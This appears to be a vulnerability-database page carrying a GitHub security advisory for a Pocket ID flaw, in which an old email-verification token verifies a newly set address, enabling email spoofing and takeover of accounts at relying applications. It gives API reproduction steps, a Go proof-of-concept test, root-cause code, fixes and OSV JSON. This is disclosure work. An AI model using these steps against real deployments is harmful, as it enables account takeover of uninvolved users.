GHSA-RM8C-2CV8-JWF6
Vulnerability from github – Published: 2026-11-09 22:12 – Updated: 2026-11-09 22:12Summary
An authenticated Pocket ID user can request an email-verification token while their account uses an address they control, change the account email address, and then redeem the previously issued token. The token is bound only to the user ID, not to the address to which it was sent, and changing the address does not revoke outstanding tokens.
As a result, Pocket ID marks the newly supplied address as verified even though the user never proved control of it. Pocket ID subsequently returns that address with email_verified: true in OIDC claims. A relying party that trusts this claim for email-based account linking or provisioning can therefore link the attacker's Pocket ID identity to a victim's existing account, leading to cross-application account takeover.
This was verified against commit 9f559788a44cfea790de360da0a74d4bdf8ca5d5.
Preconditions
- The attacker has an ordinary Pocket ID user account.
- Email verification is in use (
emailsVerified=false, which is the default). - The user can edit their own account (
allowOwnAccountEdit=true, which is the default). - The target address is not already assigned to another Pocket ID user.
- For downstream account takeover, a relying party links or provisions users based on a trusted, verified email address. Applications that rely exclusively on the stable OIDC
subclaim are not affected by that downstream consequence.
No administrator privilege, victim interaction, or access to the victim's mailbox is required.
Reproduction through the API
- Sign in as an ordinary user whose current email address is controlled by the attacker, for example
attacker@example.test. - Call
POST /api/users/me/send-email-verification. - Obtain the token from the message delivered to
attacker@example.test, but do not redeem it yet. - Call
PUT /api/users/meand change the account email to an address the attacker does not control, for examplevictim@example.test. - Observe that the new address is initially stored with
emailVerified: false. - Call
POST /api/users/me/verify-emailwith the token delivered toattacker@example.test. - Call
GET /api/users/me. The current address is nowvictim@example.testandemailVerifiedistrue. - Complete an OIDC flow with the
emailscope. Pocket ID emits:
{
"email": "victim@example.test",
"email_verified": true
}
The old token has therefore verified a different address from the one to which it was delivered.
Executable regression test / proof of concept
Save this as backend/internal/service/audit_email_verification_test.go and run:
go test -tags=exclude_frontend,unit ./internal/service -run TestAuditEmailVerificationTokenSurvivesEmailChange -count=1 -v
The test passes on the referenced commit and demonstrates the unintended state transition:
package service
import (
"testing"
"time"
"github.com/stretchr/testify/require"
"github.com/pocket-id/pocket-id/backend/internal/appconfig"
"github.com/pocket-id/pocket-id/backend/internal/dto"
"github.com/pocket-id/pocket-id/backend/internal/model"
datatype "github.com/pocket-id/pocket-id/backend/internal/model/types"
)
func TestAuditEmailVerificationTokenSurvivesEmailChange(t *testing.T) {
userService, _ := newTestUserService(t)
config := &appconfig.AppConfigModel{
RequireUserEmail: "true",
AllowOwnAccountEdit: "true",
EmailsVerified: "false",
}
attackerEmail := "attacker-controlled@example.test"
user, err := userService.CreateUser(t.Context(), config, dto.UserCreateDto{
Username: "attacker",
Email: &attackerEmail,
EmailVerified: false,
})
require.NoError(t, err)
const tokenFromAttackerMailbox = "token-issued-for-attacker-email"
require.NoError(t, userService.db.Create(&model.EmailVerificationToken{
UserID: user.ID,
Token: tokenFromAttackerMailbox,
ExpiresAt: datatype.DateTime(time.Now().Add(time.Hour)),
}).Error)
victimEmail := "victim@example.test"
_, err = userService.UpdateUser(t.Context(), config, user.ID, dto.UserCreateDto{
Username: user.Username,
Email: &victimEmail,
}, true, false)
require.NoError(t, err)
changed, err := userService.GetUser(t.Context(), user.ID)
require.NoError(t, err)
require.Equal(t, victimEmail, *changed.Email)
require.False(t, changed.EmailVerified)
require.NoError(t, userService.VerifyEmail(
t.Context(),
user.ID,
tokenFromAttackerMailbox,
))
verified, err := userService.GetUser(t.Context(), user.ID)
require.NoError(t, err)
require.Equal(t, victimEmail, *verified.Email)
require.True(t, verified.EmailVerified)
}
Observed result:
=== RUN TestAuditEmailVerificationTokenSurvivesEmailChange
--- PASS: TestAuditEmailVerificationTokenSurvivesEmailChange
PASS
Root cause
backend/internal/model/email_verification_token.go stores only a token, expiration, and user ID. It does not store or cryptographically bind the address being verified.
UserService.SendEmailVerification creates the token for user.ID and sends it to the current user.Email, but that email is not part of the token record:
emailVerificationToken := &model.EmailVerificationToken{
UserID: user.ID,
Token: randomToken,
ExpiresAt: datatype.DateTime(expiration),
}
UserService.UpdateUser resets the verification flag when the address changes but leaves existing verification tokens valid.
UserService.VerifyEmail validates only the token, user ID, and expiry, then sets EmailVerified on the user's current record:
err := tx.WithContext(ctx).Where(
"token = ? AND user_id = ? AND expires_at > ?",
token,
userID,
datatype.DateTime(time.Now()),
).First(&emailVerificationToken).Error
user, err := s.getUserInternal(ctx, emailVerificationToken.UserID, tx)
// ...
user.EmailVerified = true
Finally, backend/internal/oidc/claims_service.go publishes the current address and flag together:
claims["email"] = *user.Email
claims["email_verified"] = user.EmailVerified
Impact
The direct impact is an authentication-integrity failure in an identity provider: any ordinary user can cause Pocket ID to attest control of an arbitrary unused email address.
The security boundary crossed by that false attestation is the relying application. Where a relying party treats email_verified=true as proof of address ownership and uses email for automatic account matching, the attacker can be signed into or linked to the victim's existing relying-party account. This can expose all data and actions available through that account.
Suggested remediation
- Store a normalized target email address (or a keyed hash of it) with every verification token.
- During redemption, atomically require that the stored target address still equals the user's current normalized email address.
- Invalidate all outstanding email-verification tokens whenever the account email changes.
- Invalidate prior outstanding tokens when issuing a replacement token.
- Add a regression test that changes the email after issuance and requires the old token to be rejected.
Testing note
Source review and test construction were AI-assisted. The finding, affected control flow, preconditions, and executable proof of concept were validated against the referenced Pocket ID commit before submission.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/pocket-id/pocket-id/backend"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260727180059-43aaccd5bfac"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-115770"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-09T22:12:21Z",
"nvd_published_at": "2026-11-04T23:17:18Z",
"severity": "CRITICAL"
},
"details": "## Summary\n\nAn authenticated Pocket ID user can request an email-verification token while their account uses an address they control, change the account email address, and then redeem the previously issued token. The token is bound only to the user ID, not to the address to which it was sent, and changing the address does not revoke outstanding tokens.\n\nAs a result, Pocket ID marks the newly supplied address as verified even though the user never proved control of it. Pocket ID subsequently returns that address with `email_verified: true` in OIDC claims. A relying party that trusts this claim for email-based account linking or provisioning can therefore link the attacker\u0027s Pocket ID identity to a victim\u0027s existing account, leading to cross-application account takeover.\n\nThis was verified against commit `9f559788a44cfea790de360da0a74d4bdf8ca5d5`.\n\n## Preconditions\n\n- The attacker has an ordinary Pocket ID user account.\n- Email verification is in use (`emailsVerified=false`, which is the default).\n- The user can edit their own account (`allowOwnAccountEdit=true`, which is the default).\n- The target address is not already assigned to another Pocket ID user.\n- For downstream account takeover, a relying party links or provisions users based on a trusted, verified email address. Applications that rely exclusively on the stable OIDC `sub` claim are not affected by that downstream consequence.\n\nNo administrator privilege, victim interaction, or access to the victim\u0027s mailbox is required.\n\n## Reproduction through the API\n\n1. Sign in as an ordinary user whose current email address is controlled by the attacker, for example `attacker@example.test`.\n2. Call `POST /api/users/me/send-email-verification`.\n3. Obtain the token from the message delivered to `attacker@example.test`, but do not redeem it yet.\n4. Call `PUT /api/users/me` and change the account email to an address the attacker does not control, for example `victim@example.test`.\n5. Observe that the new address is initially stored with `emailVerified: false`.\n6. Call `POST /api/users/me/verify-email` with the token delivered to `attacker@example.test`.\n7. Call `GET /api/users/me`. The current address is now `victim@example.test` and `emailVerified` is `true`.\n8. Complete an OIDC flow with the `email` scope. Pocket ID emits:\n\n```json\n{\n \"email\": \"victim@example.test\",\n \"email_verified\": true\n}\n```\n\nThe old token has therefore verified a different address from the one to which it was delivered.\n\n## Executable regression test / proof of concept\n\nSave this as `backend/internal/service/audit_email_verification_test.go` and run:\n\n```text\ngo test -tags=exclude_frontend,unit ./internal/service -run TestAuditEmailVerificationTokenSurvivesEmailChange -count=1 -v\n```\n\nThe test passes on the referenced commit and demonstrates the unintended state transition:\n\n```go\npackage service\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/pocket-id/pocket-id/backend/internal/appconfig\"\n\t\"github.com/pocket-id/pocket-id/backend/internal/dto\"\n\t\"github.com/pocket-id/pocket-id/backend/internal/model\"\n\tdatatype \"github.com/pocket-id/pocket-id/backend/internal/model/types\"\n)\n\nfunc TestAuditEmailVerificationTokenSurvivesEmailChange(t *testing.T) {\n\tuserService, _ := newTestUserService(t)\n\tconfig := \u0026appconfig.AppConfigModel{\n\t\tRequireUserEmail: \"true\",\n\t\tAllowOwnAccountEdit: \"true\",\n\t\tEmailsVerified: \"false\",\n\t}\n\n\tattackerEmail := \"attacker-controlled@example.test\"\n\tuser, err := userService.CreateUser(t.Context(), config, dto.UserCreateDto{\n\t\tUsername: \"attacker\",\n\t\tEmail: \u0026attackerEmail,\n\t\tEmailVerified: false,\n\t})\n\trequire.NoError(t, err)\n\n\tconst tokenFromAttackerMailbox = \"token-issued-for-attacker-email\"\n\trequire.NoError(t, userService.db.Create(\u0026model.EmailVerificationToken{\n\t\tUserID: user.ID,\n\t\tToken: tokenFromAttackerMailbox,\n\t\tExpiresAt: datatype.DateTime(time.Now().Add(time.Hour)),\n\t}).Error)\n\n\tvictimEmail := \"victim@example.test\"\n\t_, err = userService.UpdateUser(t.Context(), config, user.ID, dto.UserCreateDto{\n\t\tUsername: user.Username,\n\t\tEmail: \u0026victimEmail,\n\t}, true, false)\n\trequire.NoError(t, err)\n\n\tchanged, err := userService.GetUser(t.Context(), user.ID)\n\trequire.NoError(t, err)\n\trequire.Equal(t, victimEmail, *changed.Email)\n\trequire.False(t, changed.EmailVerified)\n\n\trequire.NoError(t, userService.VerifyEmail(\n\t\tt.Context(),\n\t\tuser.ID,\n\t\ttokenFromAttackerMailbox,\n\t))\n\n\tverified, err := userService.GetUser(t.Context(), user.ID)\n\trequire.NoError(t, err)\n\trequire.Equal(t, victimEmail, *verified.Email)\n\trequire.True(t, verified.EmailVerified)\n}\n```\n\nObserved result:\n\n```text\n=== RUN TestAuditEmailVerificationTokenSurvivesEmailChange\n--- PASS: TestAuditEmailVerificationTokenSurvivesEmailChange\nPASS\n```\n\n## Root cause\n\n`backend/internal/model/email_verification_token.go` stores only a token, expiration, and user ID. It does not store or cryptographically bind the address being verified.\n\n`UserService.SendEmailVerification` creates the token for `user.ID` and sends it to the current `user.Email`, but that email is not part of the token record:\n\n```go\nemailVerificationToken := \u0026model.EmailVerificationToken{\n\tUserID: user.ID,\n\tToken: randomToken,\n\tExpiresAt: datatype.DateTime(expiration),\n}\n```\n\n`UserService.UpdateUser` resets the verification flag when the address changes but leaves existing verification tokens valid.\n\n`UserService.VerifyEmail` validates only the token, user ID, and expiry, then sets `EmailVerified` on the user\u0027s current record:\n\n```go\nerr := tx.WithContext(ctx).Where(\n\t\"token = ? AND user_id = ? AND expires_at \u003e ?\",\n\ttoken,\n\tuserID,\n\tdatatype.DateTime(time.Now()),\n).First(\u0026emailVerificationToken).Error\n\nuser, err := s.getUserInternal(ctx, emailVerificationToken.UserID, tx)\n// ...\nuser.EmailVerified = true\n```\n\nFinally, `backend/internal/oidc/claims_service.go` publishes the current address and flag together:\n\n```go\nclaims[\"email\"] = *user.Email\nclaims[\"email_verified\"] = user.EmailVerified\n```\n\n## Impact\n\nThe direct impact is an authentication-integrity failure in an identity provider: any ordinary user can cause Pocket ID to attest control of an arbitrary unused email address.\n\nThe security boundary crossed by that false attestation is the relying application. Where a relying party treats `email_verified=true` as proof of address ownership and uses email for automatic account matching, the attacker can be signed into or linked to the victim\u0027s existing relying-party account. This can expose all data and actions available through that account.\n\n## Suggested remediation\n\n1. Store a normalized target email address (or a keyed hash of it) with every verification token.\n2. During redemption, atomically require that the stored target address still equals the user\u0027s current normalized email address.\n3. Invalidate all outstanding email-verification tokens whenever the account email changes.\n4. Invalidate prior outstanding tokens when issuing a replacement token.\n5. Add a regression test that changes the email after issuance and requires the old token to be rejected.\n\n## Testing note\n\nSource review and test construction were AI-assisted. The finding, affected control flow, preconditions, and executable proof of concept were validated against the referenced Pocket ID commit before submission.",
"id": "GHSA-rm8c-2cv8-jwf6",
"modified": "2026-11-09T22:12:21Z",
"published": "2026-11-09T22:12:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pocket-id/pocket-id/security/advisories/GHSA-rm8c-2cv8-jwf6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115770"
},
{
"type": "WEB",
"url": "https://github.com/pocket-id/pocket-id/pull/1625"
},
{
"type": "WEB",
"url": "https://github.com/pocket-id/pocket-id/commit/43aaccd5bfacb76283b11ce039fb3f0716196fcb"
},
{
"type": "PACKAGE",
"url": "https://github.com/pocket-id/pocket-id"
},
{
"type": "WEB",
"url": "https://github.com/pocket-id/pocket-id/releases/tag/v2.12.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Pocket ID: Email verification token remains valid after address change, enabling arbitrary verified-email spoofing"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.